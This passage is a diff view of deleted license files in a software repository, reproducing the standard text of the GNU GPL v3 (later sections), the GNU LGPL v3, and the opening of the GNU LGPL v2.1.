||||
and execute modified versions of a covered work in that User Product from
|
||||
a modified version of its Corresponding Source. The information must
|
||||
suffice to ensure that the continued functioning of the modified object
|
||||
code is in no case prevented or interfered with solely because
|
||||
modification has been made.
|
||||
|
||||
If you convey an object code work under this section in, or with, or
|
||||
specifically for use in, a User Product, and the conveying occurs as
|
||||
part of a transaction in which the right of possession and use of the
|
||||
User Product is transferred to the recipient in perpetuity or for a
|
||||
fixed term (regardless of how the transaction is characterized), the
|
||||
Corresponding Source conveyed under this section must be accompanied
|
||||
by the Installation Information. But this requirement does not apply
|
||||
if neither you nor any third party retains the ability to install
|
||||
modified object code on the User Product (for example, the work has
|
||||
been installed in ROM).
|
||||
|
||||
The requirement to provide Installation Information does not include a
|
||||
requirement to continue to provide support service, warranty, or updates
|
||||
for a work that has been modified or installed by the recipient, or for
|
||||
the User Product in which it has been modified or installed. Access to a
|
||||
network may be denied when the modification itself materially and
|
||||
adversely affects the operation of the network or violates the rules and
|
||||
protocols for communication across the network.
|
||||
|
||||
Corresponding Source conveyed, and Installation Information provided,
|
||||
in accord with this section must be in a format that is publicly
|
||||
documented (and with an implementation available to the public in
|
||||
source code form), and must require no special password or key for
|
||||
unpacking, reading or copying.
|
||||
|
||||
7. Additional Terms.
|
||||
|
||||
"Additional permissions" are terms that supplement the terms of this
|
||||
License by making exceptions from one or more of its conditions.
|
||||
Additional permissions that are applicable to the entire Program shall
|
||||
be treated as though they were included in this License, to the extent
|
||||
that they are valid under applicable law. If additional permissions
|
||||
apply only to part of the Program, that part may be used separately
|
||||
under those permissions, but the entire Program remains governed by
|
||||
this License without regard to the additional permissions.
|
||||
|
||||
When you convey a copy of a covered work, you may at your option
|
||||
remove any additional permissions from that copy, or from any part of
|
||||
it. (Additional permissions may be written to require their own
|
||||
removal in certain cases when you modify the work.) You may place
|
||||
additional permissions on material, added by you to a covered work,
|
||||
for which you have or can give appropriate copyright permission.
|
||||
|
||||
Notwithstanding any other provision of this License, for material you
|
||||
add to a covered work, you may (if authorized by the copyright holders of
|
||||
that material) supplement the terms of this License with terms:
|
||||
|
||||
a) Disclaiming warranty or limiting liability differently from the
|
||||
terms of sections 15 and 16 of this License; or
|
||||
|
||||
b) Requiring preservation of specified reasonable legal notices or
|
||||
author attributions in that material or in the Appropriate Legal
|
||||
Notices displayed by works containing it; or
|
||||
|
||||
c) Prohibiting misrepresentation of the origin of that material, or
|
||||
requiring that modified versions of such material be marked in
|
||||
reasonable ways as different from the original version; or
|
||||
|
||||
d) Limiting the use for publicity purposes of names of licensors or
|
||||
authors of the material; or
|
||||
|
||||
e) Declining to grant rights under trademark law for use of some
|
||||
trade names, trademarks, or service marks; or
|
||||
|
||||
f) Requiring indemnification of licensors and authors of that
|
||||
material by anyone who conveys the material (or modified versions of
|
||||
it) with contractual assumptions of liability to the recipient, for
|
||||
any liability that these contractual assumptions directly impose on
|
||||
those licensors and authors.
|
||||
|
||||
All other non-permissive additional terms are considered "further
|
||||
restrictions" within the meaning of section 10. If the Program as you
|
||||
received it, or any part of it, contains a notice stating that it is
|
||||
governed by this License along with a term that is a further
|
||||
restriction, you may remove that term. If a license document contains
|
||||
a further restriction but permits relicensing or conveying under this
|
||||
License, you may add to a covered work material governed by the terms
|
||||
of that license document, provided that the further restriction does
|
||||
not survive such relicensing or conveying.
|
||||
|
||||
If you add terms to a covered work in accord with this section, you
|
||||
must place, in the relevant source files, a statement of the
|
||||
additional terms that apply to those files, or a notice indicating
|
||||
where to find the applicable terms.
|
||||
|
||||
Additional terms, permissive or non-permissive, may be stated in the
|
||||
form of a separately written license, or stated as exceptions;
|
||||
the above requirements apply either way.
|
||||
|
||||
8. Termination.
|
||||
|
||||
You may not propagate or modify a covered work except as expressly
|
||||
provided under this License. Any attempt otherwise to propagate or
|
||||
modify it is void, and will automatically terminate your rights under
|
||||
this License (including any patent licenses granted under the third
|
||||
paragraph of section 11).
|
||||
|
||||
However, if you cease all violation of this License, then your
|
||||
license from a particular copyright holder is reinstated (a)
|
||||
provisionally, unless and until the copyright holder explicitly and
|
||||
finally terminates your license, and (b) permanently, if the copyright
|
||||
holder fails to notify you of the violation by some reasonable means
|
||||
prior to 60 days after the cessation.
|
||||
|
||||
Moreover, your license from a particular copyright holder is
|
||||
reinstated permanently if the copyright holder notifies you of the
|
||||
violation by some reasonable means, this is the first time you have
|
||||
received notice of violation of this License (for any work) from that
|
||||
copyright holder, and you cure the violation prior to 30 days after
|
||||
your receipt of the notice.
|
||||
|
||||
Termination of your rights under this section does not terminate the
|
||||
licenses of parties who have received copies or rights from you under
|
||||
this License. If your rights have been terminated and not permanently
|
||||
reinstated, you do not qualify to receive new licenses for the same
|
||||
material under section 10.
|
||||
|
||||
9. Acceptance Not Required for Having Copies.
|
||||
|
||||
You are not required to accept this License in order to receive or
|
||||
run a copy of the Program. Ancillary propagation of a covered work
|
||||
occurring solely as a consequence of using peer-to-peer transmission
|
||||
to receive a copy likewise does not require acceptance. However,
|
||||
nothing other than this License grants you permission to propagate or
|
||||
modify any covered work. These actions infringe copyright if you do
|
||||
not accept this License. Therefore, by modifying or propagating a
|
||||
covered work, you indicate your acceptance of this License to do so.
|
||||
|
||||
10. Automatic Licensing of Downstream Recipients.
|
||||
|
||||
Each time you convey a covered work, the recipient automatically
|
||||
receives a license from the original licensors, to run, modify and
|
||||
propagate that work, subject to this License. You are not responsible
|
||||
for enforcing compliance by third parties with this License.
|
||||
|
||||
An "entity transaction" is a transaction transferring control of an
|
||||
organization, or substantially all assets of one, or subdividing an
|
||||
organization, or merging organizations. If propagation of a covered
|
||||
work results from an entity transaction, each party to that
|
||||
transaction who receives a copy of the work also receives whatever
|
||||
licenses to the work the party's predecessor in interest had or could
|
||||
give under the previous paragraph, plus a right to possession of the
|
||||
Corresponding Source of the work from the predecessor in interest, if
|
||||
the predecessor has it or can get it with reasonable efforts.
|
||||
|
||||
You may not impose any further restrictions on the exercise of the
|
||||
rights granted or affirmed under this License. For example, you may
|
||||
not impose a license fee, royalty, or other charge for exercise of
|
||||
rights granted under this License, and you may not initiate litigation
|
||||
(including a cross-claim or counterclaim in a lawsuit) alleging that
|
||||
any patent claim is infringed by making, using, selling, offering for
|
||||
sale, or importing the Program or any portion of it.
|
||||
|
||||
11. Patents.
|
||||
|
||||
A "contributor" is a copyright holder who authorizes use under this
|
||||
License of the Program or a work on which the Program is based. The
|
||||
work thus licensed is called the contributor's "contributor version".
|
||||
|
||||
A contributor's "essential patent claims" are all patent claims
|
||||
owned or controlled by the contributor, whether already acquired or
|
||||
hereafter acquired, that would be infringed by some manner, permitted
|
||||
by this License, of making, using, or selling its contributor version,
|
||||
but do not include claims that would be infringed only as a
|
||||
consequence of further modification of the contributor version. For
|
||||
purposes of this definition, "control" includes the right to grant
|
||||
patent sublicenses in a manner consistent with the requirements of
|
||||
this License.
|
||||
|
||||
Each contributor grants you a non-exclusive, worldwide, royalty-free
|
||||
patent license under the contributor's essential patent claims, to
|
||||
make, use, sell, offer for sale, import and otherwise run, modify and
|
||||
propagate the contents of its contributor version.
|
||||
|
||||
In the following three paragraphs, a "patent license" is any express
|
||||
agreement or commitment, however denominated, not to enforce a patent
|
||||
(such as an express permission to practice a patent or covenant not to
|
||||
sue for patent infringement). To "grant" such a patent license to a
|
||||
party means to make such an agreement or commitment not to enforce a
|
||||
patent against the party.
|
||||
|
||||
If you convey a covered work, knowingly relying on a patent license,
|
||||
and the Corresponding Source of the work is not available for anyone
|
||||
to copy, free of charge and under the terms of this License, through a
|
||||
publicly available network server or other readily accessible means,
|
||||
then you must either (1) cause the Corresponding Source to be so
|
||||
available, or (2) arrange to deprive yourself of the benefit of the
|
||||
patent license for this particular work, or (3) arrange, in a manner
|
||||
consistent with the requirements of this License, to extend the patent
|
||||
license to downstream recipients. "Knowingly relying" means you have
|
||||
actual knowledge that, but for the patent license, your conveying the
|
||||
covered work in a country, or your recipient's use of the covered work
|
||||
in a country, would infringe one or more identifiable patents in that
|
||||
country that you have reason to believe are valid.
|
||||
|
||||
If, pursuant to or in connection with a single transaction or
|
||||
arrangement, you convey, or propagate by procuring conveyance of, a
|
||||
covered work, and grant a patent license to some of the parties
|
||||
receiving the covered work authorizing them to use, propagate, modify
|
||||
or convey a specific copy of the covered work, then the patent license
|
||||
you grant is automatically extended to all recipients of the covered
|
||||
work and works based on it.
|
||||
|
||||
A patent license is "discriminatory" if it does not include within
|
||||
the scope of its coverage, prohibits the exercise of, or is
|
||||
conditioned on the non-exercise of one or more of the rights that are
|
||||
specifically granted under this License. You may not convey a covered
|
||||
work if you are a party to an arrangement with a third party that is
|
||||
in the business of distributing software, under which you make payment
|
||||
to the third party based on the extent of your activity of conveying
|
||||
the work, and under which the third party grants, to any of the
|
||||
parties who would receive the covered work from you, a discriminatory
|
||||
patent license (a) in connection with copies of the covered work
|
||||
conveyed by you (or copies made from those copies), or (b) primarily
|
||||
for and in connection with specific products or compilations that
|
||||
contain the covered work, unless you entered into that arrangement,
|
||||
or that patent license was granted, prior to 28 March 2007.
|
||||
|
||||
Nothing in this License shall be construed as excluding or limiting
|
||||
any implied license or other defenses to infringement that may
|
||||
otherwise be available to you under applicable patent law.
|
||||
|
||||
12. No Surrender of Others' Freedom.
|
||||
|
||||
If conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot convey a
|
||||
covered work so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you may
|
||||
not convey it at all. For example, if you agree to terms that obligate you
|
||||
to collect a royalty for further conveying from those to whom you convey
|
||||
the Program, the only way you could satisfy both those terms and this
|
||||
License would be to refrain entirely from conveying the Program.
|
||||
|
||||
13. Use with the GNU Affero General Public License.
|
||||
|
||||
Notwithstanding any other provision of this License, you have
|
||||
permission to link or combine any covered work with a work licensed
|
||||
under version 3 of the GNU Affero General Public License into a single
|
||||
combined work, and to convey the resulting work. The terms of this
|
||||
License will continue to apply to the part which is the covered work,
|
||||
but the special requirements of the GNU Affero General Public License,
|
||||
section 13, concerning interaction through a network will apply to the
|
||||
combination as such.
|
||||
|
||||
14. Revised Versions of this License.
|
||||
|
||||
The Free Software Foundation may publish revised and/or new versions of
|
||||
the GNU General Public License from time to time. Such new versions will
|
||||
be similar in spirit to the present version, but may differ in detail to
|
||||
address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the
|
||||
Program specifies that a certain numbered version of the GNU General
|
||||
Public License "or any later version" applies to it, you have the
|
||||
option of following the terms and conditions either of that numbered
|
||||
version or of any later version published by the Free Software
|
||||
Foundation. If the Program does not specify a version number of the
|
||||
GNU General Public License, you may choose any version ever published
|
||||
by the Free Software Foundation.
|
||||
|
||||
If the Program specifies that a proxy can decide which future
|
||||
versions of the GNU General Public License can be used, that proxy's
|
||||
public statement of acceptance of a version permanently authorizes you
|
||||
to choose that version for the Program.
|
||||
|
||||
Later license versions may give you additional or different
|
||||
permissions. However, no additional obligations are imposed on any
|
||||
author or copyright holder as a result of your choosing to follow a
|
||||
later version.
|
||||
|
||||
15. Disclaimer of Warranty.
|
||||
|
||||
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
|
||||
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
|
||||
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
|
||||
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
|
||||
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
|
||||
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
|
||||
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
||||
|
||||
16. Limitation of Liability.
|
||||
|
||||
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
|
||||
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
|
||||
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
|
||||
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
|
||||
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
|
||||
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
|
||||
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGES.
|
||||
|
||||
17. Interpretation of Sections 15 and 16.
|
||||
|
||||
If the disclaimer of warranty and limitation of liability provided
|
||||
above cannot be given local legal effect according to their terms,
|
||||
reviewing courts shall apply local law that most closely approximates
|
||||
an absolute waiver of all civil liability in connection with the
|
||||
Program, unless a warranty or assumption of liability accompanies a
|
||||
copy of the Program in return for a fee.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
How to Apply These Terms to Your New Programs
|
||||
|
||||
If you develop a new program, and you want it to be of the greatest
|
||||
possible use to the public, the best way to achieve this is to make it
|
||||
free software which everyone can redistribute and change under these terms.
|
||||
|
||||
To do so, attach the following notices to the program. It is safest
|
||||
to attach them to the start of each source file to most effectively
|
||||
state the exclusion of warranty; and each file should have at least
|
||||
the "copyright" line and a pointer to where the full notice is found.
|
||||
|
||||
<one line to give the program's name and a brief idea of what it does.>
|
||||
Copyright (C) <year> <name of author>
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
If the program does terminal interaction, make it output a short
|
||||
notice like this when it starts in an interactive mode:
|
||||
|
||||
<program> Copyright (C) <year> <name of author>
|
||||
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type `show c' for details.
|
||||
|
||||
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||
parts of the General Public License. Of course, your program's commands
|
||||
might be different; for a GUI interface, you would use an "about box".
|
||||
|
||||
You should also get your employer (if you work as a programmer) or school,
|
||||
if any, to sign a "copyright disclaimer" for the program, if necessary.
|
||||
For more information on this, and how to apply and follow the GNU GPL, see
|
||||
<https://www.gnu.org/licenses/>.
|
||||
|
||||
The GNU General Public License does not permit incorporating your program
|
||||
into proprietary programs. If your program is a subroutine library, you
|
||||
may consider it more useful to permit linking proprietary applications with
|
||||
the library. If this is what you want to do, use the GNU Lesser General
|
||||
Public License instead of this License. But first, please read
|
||||
<https://www.gnu.org/licenses/why-not-lgpl.html>.
|
||||
@@ -1,165 +0,0 @@
|
||||
GNU LESSER GENERAL PUBLIC LICENSE
|
||||
Version 3, 29 June 2007
|
||||
|
||||
Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
|
||||
This version of the GNU Lesser General Public License incorporates
|
||||
the terms and conditions of version 3 of the GNU General Public
|
||||
License, supplemented by the additional permissions listed below.
|
||||
|
||||
0. Additional Definitions.
|
||||
|
||||
As used herein, "this License" refers to version 3 of the GNU Lesser
|
||||
General Public License, and the "GNU GPL" refers to version 3 of the GNU
|
||||
General Public License.
|
||||
|
||||
"The Library" refers to a covered work governed by this License,
|
||||
other than an Application or a Combined Work as defined below.
|
||||
|
||||
An "Application" is any work that makes use of an interface provided
|
||||
by the Library, but which is not otherwise based on the Library.
|
||||
Defining a subclass of a class defined by the Library is deemed a mode
|
||||
of using an interface provided by the Library.
|
||||
|
||||
A "Combined Work" is a work produced by combining or linking an
|
||||
Application with the Library. The particular version of the Library
|
||||
with which the Combined Work was made is also called the "Linked
|
||||
Version".
|
||||
|
||||
The "Minimal Corresponding Source" for a Combined Work means the
|
||||
Corresponding Source for the Combined Work, excluding any source code
|
||||
for portions of the Combined Work that, considered in isolation, are
|
||||
based on the Application, and not on the Linked Version.
|
||||
|
||||
The "Corresponding Application Code" for a Combined Work means the
|
||||
object code and/or source code for the Application, including any data
|
||||
and utility programs needed for reproducing the Combined Work from the
|
||||
Application, but excluding the System Libraries of the Combined Work.
|
||||
|
||||
1. Exception to Section 3 of the GNU GPL.
|
||||
|
||||
You may convey a covered work under sections 3 and 4 of this License
|
||||
without being bound by section 3 of the GNU GPL.
|
||||
|
||||
2. Conveying Modified Versions.
|
||||
|
||||
If you modify a copy of the Library, and, in your modifications, a
|
||||
facility refers to a function or data to be supplied by an Application
|
||||
that uses the facility (other than as an argument passed when the
|
||||
facility is invoked), then you may convey a copy of the modified
|
||||
version:
|
||||
|
||||
a) under this License, provided that you make a good faith effort to
|
||||
ensure that, in the event an Application does not supply the
|
||||
function or data, the facility still operates, and performs
|
||||
whatever part of its purpose remains meaningful, or
|
||||
|
||||
b) under the GNU GPL, with none of the additional permissions of
|
||||
this License applicable to that copy.
|
||||
|
||||
3. Object Code Incorporating Material from Library Header Files.
|
||||
|
||||
The object code form of an Application may incorporate material from
|
||||
a header file that is part of the Library. You may convey such object
|
||||
code under terms of your choice, provided that, if the incorporated
|
||||
material is not limited to numerical parameters, data structure
|
||||
layouts and accessors, or small macros, inline functions and templates
|
||||
(ten or fewer lines in length), you do both of the following:
|
||||
|
||||
a) Give prominent notice with each copy of the object code that the
|
||||
Library is used in it and that the Library and its use are
|
||||
covered by this License.
|
||||
|
||||
b) Accompany the object code with a copy of the GNU GPL and this license
|
||||
document.
|
||||
|
||||
4. Combined Works.
|
||||
|
||||
You may convey a Combined Work under terms of your choice that,
|
||||
taken together, effectively do not restrict modification of the
|
||||
portions of the Library contained in the Combined Work and reverse
|
||||
engineering for debugging such modifications, if you also do each of
|
||||
the following:
|
||||
|
||||
a) Give prominent notice with each copy of the Combined Work that
|
||||
the Library is used in it and that the Library and its use are
|
||||
covered by this License.
|
||||
|
||||
b) Accompany the Combined Work with a copy of the GNU GPL and this license
|
||||
document.
|
||||
|
||||
c) For a Combined Work that displays copyright notices during
|
||||
execution, include the copyright notice for the Library among
|
||||
these notices, as well as a reference directing the user to the
|
||||
copies of the GNU GPL and this license document.
|
||||
|
||||
d) Do one of the following:
|
||||
|
||||
0) Convey the Minimal Corresponding Source under the terms of this
|
||||
License, and the Corresponding Application Code in a form
|
||||
suitable for, and under terms that permit, the user to
|
||||
recombine or relink the Application with a modified version of
|
||||
the Linked Version to produce a modified Combined Work, in the
|
||||
manner specified by section 6 of the GNU GPL for conveying
|
||||
Corresponding Source.
|
||||
|
||||
1) Use a suitable shared library mechanism for linking with the
|
||||
Library. A suitable mechanism is one that (a) uses at run time
|
||||
a copy of the Library already present on the user's computer
|
||||
system, and (b) will operate properly with a modified version
|
||||
of the Library that is interface-compatible with the Linked
|
||||
Version.
|
||||
|
||||
e) Provide Installation Information, but only if you would otherwise
|
||||
be required to provide such information under section 6 of the
|
||||
GNU GPL, and only to the extent that such information is
|
||||
necessary to install and execute a modified version of the
|
||||
Combined Work produced by recombining or relinking the
|
||||
Application with a modified version of the Linked Version. (If
|
||||
you use option 4d0, the Installation Information must accompany
|
||||
the Minimal Corresponding Source and Corresponding Application
|
||||
Code. If you use option 4d1, you must provide the Installation
|
||||
Information in the manner specified by section 6 of the GNU GPL
|
||||
for conveying Corresponding Source.)
|
||||
|
||||
5. Combined Libraries.
|
||||
|
||||
You may place library facilities that are a work based on the
|
||||
Library side by side in a single library together with other library
|
||||
facilities that are not Applications and are not covered by this
|
||||
License, and convey such a combined library under terms of your
|
||||
choice, if you do both of the following:
|
||||
|
||||
a) Accompany the combined library with a copy of the same work based
|
||||
on the Library, uncombined with any other library facilities,
|
||||
conveyed under the terms of this License.
|
||||
|
||||
b) Give prominent notice with the combined library that part of it
|
||||
is a work based on the Library, and explaining where to find the
|
||||
accompanying uncombined form of the same work.
|
||||
|
||||
6. Revised Versions of the GNU Lesser General Public License.
|
||||
|
||||
The Free Software Foundation may publish revised and/or new versions
|
||||
of the GNU Lesser General Public License from time to time. Such new
|
||||
versions will be similar in spirit to the present version, but may
|
||||
differ in detail to address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the
|
||||
Library as you received it specifies that a certain numbered version
|
||||
of the GNU Lesser General Public License "or any later version"
|
||||
applies to it, you have the option of following the terms and
|
||||
conditions either of that published version or of any later version
|
||||
published by the Free Software Foundation. If the Library as you
|
||||
received it does not specify a version number of the GNU Lesser
|
||||
General Public License, you may choose any version of the GNU Lesser
|
||||
General Public License ever published by the Free Software Foundation.
|
||||
|
||||
If the Library as you received it specifies that a proxy can decide
|
||||
whether future versions of the GNU Lesser General Public License shall
|
||||
apply, that proxy's public statement of acceptance of any version is
|
||||
permanent authorization for you to choose that version for the
|
||||
Library.
|
||||
File diff suppressed because it is too large.
Load diff
@@ -1,502 +0,0 @@
|
||||
GNU LESSER GENERAL PUBLIC LICENSE
|
||||
Version 2.1, February 1999
|
||||
|
||||
Copyright (C) 1991, 1999 Free Software Foundation, Inc.
|
||||
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
[This is the first released version of the Lesser GPL. It also counts
|
||||
as the successor of the GNU Library Public License, version 2, hence
|
||||
the version number 2.1.]
|
||||
|
||||
Preamble
|
||||
|
||||
The licenses for most software are designed to take away your
|
||||
freedom to share and change it. By contrast, the GNU General Public
|
||||
Licenses are intended to guarantee your freedom to share and change
|
||||
free software--to make sure the software is free for all its users.
|
||||
|
||||
This license, the Lesser General Public License, applies to some
|
||||
specially designated software packages--typically libraries--of the
|
||||
Free Software Foundation and other authors who decide to use it. You
|
||||
can use it too, but we suggest you first think carefully about whether
|
||||
this license or the ordinary General Public License is the better
|
||||
strategy to use in any particular case, based on the explanations below.
|
||||
|
||||
When we speak of free software, we are referring to freedom of use,
|
||||
not price. Our General Public Licenses are designed to make sure that
|
||||
you have the freedom to distribute copies of free software (and charge
|
||||
for this service if you wish); that you receive source code or can get
|
||||
it if you want it; that you can change the software and use pieces of
|
||||
it in new free programs; and that you are informed that you can do
|
||||
these things.
|
||||
|
||||
To protect your rights, we need to make restrictions that forbid
|
||||
distributors to deny you these rights or to ask you to surrender these
|
||||
rights. These restrictions translate to certain responsibilities for
|
||||
you if you distribute copies of the library or if you modify it.
|
||||
|
||||
For example, if you distribute copies of the library, whether gratis
|
||||
or for a fee, you must give the recipients all the rights that we gave
|
||||
you. You must make sure that they, too, receive or can get the source
|
||||
code. If you link other code with the library, you must provide
|
||||
complete object files to the recipients, so that they can relink them
|
||||
with the library after making changes to the library and recompiling
|
||||
it. And you must show them these terms so they know their rights.
|
||||
|
||||
We protect your rights with a two-step method: (1) we copyright the
|
||||
library, and (2) we offer you this license, which gives you legal
|
||||
permission to copy, distribute and/or modify the library.
|
||||
|
||||
To protect each distributor, we want to make it very clear that
|
||||
there is no warranty for the free library. Also, if the library is
|
||||
modified by someone else and passed on, the recipients should know
|
||||
that what they have is not the original version, so that the original
|
||||
author's reputation will not be affected by problems that might be
|
||||
introduced by others.
|
||||
|
||||
Finally, software patents pose a constant threat to the existence of
|
||||
any free program. We wish to make sure that a company cannot
|
||||
effectively restrict the users of a free program by obtaining a
|
||||
restrictive license from a patent holder. Therefore, we insist that
|
||||
any patent license obtained for a version of the library must be
|
||||
consistent with the full freedom of use specified in this license.
|
||||
|
||||
Most GNU software, including some libraries, is covered by the
|
||||
ordinary GNU General Public License. This license, the GNU Lesser
|
||||
General Public License, applies to certain designated libraries, and
|
||||
is quite different from the ordinary General Public License. We use
|
||||
this license for certain libraries in order to permit linking those
|
||||
libraries into non-free programs.
|
||||
|
||||
When a program is linked with a library, whether statically or using
|
||||
a shared library, the combination of the two is legally speaking a
|
||||
combined work, a derivative of the original library. The ordinary
|
||||
General Public License therefore permits such linking only if the
|
||||
entire combination fits its criteria of freedom. The Lesser General
|
||||
Public License permits more lax criteria for linking other code with
|
||||
the library.
|
||||
|
||||
We call this license the "Lesser" General Public License because it
|
||||
does Less to protect the user's freedom than the ordinary General
|
||||
Public License. It also provides other free software developers Less
|
||||
of an advantage over competing non-free programs. These disadvantages
|
||||
are the reason we use the ordinary General Public License for many
|
||||
libraries. However, the Lesser license provides advantages in certain
|
||||
special circumstances.
|
||||
|
||||
For example, on rare occasions, there may be a special need to
|
||||
encourage the widest possible use of a certain library, so that it becomes
|
||||
a de-facto standard. To achieve this, non-free programs must be
|
||||
allowed to use the library. A more frequent case is that a free
|
||||
library does the same job as widely used non-free libraries. In this
|
||||
case, there is little to gain by limiting the free library to free
|
||||
software only, so we use the Lesser General Public License.
|
||||
|
||||
In other cases, permission to use a particular library in non-free
|
||||
programs enables a greater number of people to use a large body of
|
||||
free software. For example, permission to use the GNU C Library in
|
||||
non-free programs enables many more people to use the whole GNU
|
||||
operating system, as well as its variant, the GNU/Linux operating
|
||||
system.
|
||||
|
||||
Although the Lesser General Public License is Less protective of the
|
||||
users' freedom, it does ensure that the user of a program that is
|
||||
linked with the Library has the freedom and the wherewithal to run
|
||||
that program using a modified version of the Library.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow. Pay close attention to the difference between a
|
||||
"work based on the library" and a "work that uses the library". The
|
||||
former contains code derived from the library, whereas the latter must
|
||||
be combined with the library in order to run.
|
||||
|
||||
GNU LESSER GENERAL PUBLIC LICENSE
|
||||
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
|
||||
|
||||
0. This License Agreement applies to any software library or other
|
||||
program which contains a notice placed by the copyright holder or
|
||||
other authorized party saying it may be distributed under the terms of
|
||||
this Lesser General Public License (also called "this License").
|
||||
Each licensee is addressed as "you".
|
||||
|
||||
A "library" means a collection of software functions and/or data
|
||||
prepared so as to be conveniently linked with application programs
|
||||
(which use some of those functions and data) to form executables.
|
||||
|
||||
The "Library", below, refers to any such software library or work
|
||||
which has been distributed under these terms. A "work based on the
|
||||
Library" means either the Library or any derivative work under
|
||||
copyright law: that is to say, a work containing the Library or a
|
||||
portion of it, either verbatim or with modifications and/or translated
|
||||
straightforwardly into another language. (Hereinafter, translation is
|
||||
included without limitation in the term "modification".)
|
||||
|
||||
"Source code" for a work means the preferred form of the work for
|
||||
making modifications to it. For a library, complete source code means
|
||||
all the source code for all modules it contains, plus any associated
|
||||
interface definition files, plus the scripts used to control compilation
|
||||
and installation of the library.
|
||||
|
||||
Activities other than copying, distribution and modification are not
|
||||
covered by this License; they are outside its scope. The act of
|
||||
running a program using the Library is not restricted, and output from
|
||||
such a program is covered only if its contents constitute a work based
|
||||
on the Library (independent of the use of the Library in a tool for
|
||||
writing it). Whether that is true depends on what the Library does
|
||||
and what the program that uses the Library does.
|
||||
|
||||
1. You may copy and distribute verbatim copies of the Library's
|
||||
complete source code as you receive it, in any medium, provided that
|
||||
you conspicuously and appropriately publish on each copy an
|
||||
appropriate copyright notice and disclaimer of warranty; keep intact
|
||||
all the notices that refer to this License and to the absence of any
|
||||
warranty; and distribute a copy of this License along with the
|
||||
Library.
|
||||
|
||||
You may charge a fee for the physical act of transferring a copy,
|
||||
and you may at your option offer warranty protection in exchange for a
|
||||
fee.
|
||||
|
||||
2. You may modify your copy or copies of the Library or any portion
|
||||
of it, thus forming a work based on the Library, and copy and
|
||||
distribute such modifications or work under the terms of Section 1
|
||||
above, provided that you also meet all of these conditions:
|
||||
|
||||
a) The modified work must itself be a software library.
|
||||
|
||||
b) You must cause the files modified to carry prominent notices
|
||||
stating that you changed the files and the date of any change.
|
||||
|
||||
c) You must cause the whole of the work to be licensed at no
|
||||
charge to all third parties under the terms of this License.
|
||||
|
||||
d) If a facility in the modified Library refers to a function or a
|
||||
table of data to be supplied by an application program that uses
|
||||
the facility, other than as an argument passed when the facility
|
||||
is invoked, then you must make a good faith effort to ensure that,
|
||||
in the event an application does not supply such function or
|
||||
table, the facility still operates, and performs whatever part of
|
||||
its purpose remains meaningful.
|
||||
|
||||
(For example, a function in a library to compute square roots has
|
||||
a purpose that is entirely well-defined independent of the
|
||||
application. Therefore, Subsection 2d requires that any
|
||||
application-supplied function or table used by this function must
|
||||
be optional: if the application does not supply it, the square
|
||||
root function must still compute square roots.)
|
||||
|
||||
These requirements apply to the modified work as a whole. If
|
||||
identifiable sections of that work are not derived from the Library,
|
||||
and can be reasonably considered independent and separate works in
|
||||
themselves, then this License, and its terms, do not apply to those
|
||||
sections when you distribute them as separate works. But when you
|
||||
distribute the same sections as part of a whole which is a work based
|
||||
on the Library, the distribution of the whole must be on the terms of
|
||||
this License, whose permissions for other licensees extend to the
|
||||
entire whole, and thus to each and every part regardless of who wrote
|
||||
it.
|
||||
|
||||
Thus, it is not the intent of this section to claim rights or contest
|
||||
your rights to work written entirely by you; rather, the intent is to
|
||||
exercise the right to control the distribution of derivative or
|
||||
collective works based on the Library.
|
||||
|
||||
